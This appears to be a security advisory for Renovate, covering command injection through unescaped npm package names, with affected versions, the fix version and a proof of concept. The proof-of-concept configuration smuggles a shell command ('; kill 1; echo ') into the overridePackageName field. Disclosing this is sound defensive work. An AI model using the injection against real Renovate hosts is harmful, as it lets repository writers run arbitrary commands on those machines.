Packages / renovate / Security
Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration
Affected releases · renovate
- 40.x40.0.0 – 40.32.7Fixed in 40.33.0
- 39.x and older35.63.0 – 39.264.1No fix, no longer updated
On 40.x, the newest line:
npm install renovate@40.33.0Every release on a timeline
Not affected
44.0.0 – 44.190.0
603 releases, latest
Affected
40.0.0 – 40.32.7
130 releases
Fixed
40.33.0 – 40.62.1
126 releases
Affected
39.0.0 – 39.264.1
684 releases
Affected
38.0.0 – 38.142.7
385 releases
Affected
37.0.0 – 37.440.7
1173 releases
Affected
36.0.0 – 36.109.4
311 releases
Not affected
35.0.0 – 35.62.0
132 releases
Affected
35.63.0 – 35.159.7
221 releases
What happens
Summary
The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.
Details
Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.
The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 35.63.0 (012c0ac), released on April 27 of 2023.
PoC
Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["npm"],
// Provide a command in the package name
overridePackageName: "; kill 1; echo ",
// Override the datasource to prevent a lookup failure
overrideDatasource: "custom.always",
},
],
}
package.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
}package-lock.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
},
"node_modules/uuid": {
"version": "11.0.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
"integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
"funding": [
"https://github.com/sponsors/broofa",
"https://github.com/sponsors/ctavan"
],
"license": "MIT",
"bin": {
"uuid": "dist/esm/bin/uuid"
}
}
}
}
Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
Note
This specific proof of concept relies on the introduction of the overrideDatasource and overridePackageName configuration, available since version 38.120.0 (a70a6a3), released on October 12 of 2024.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.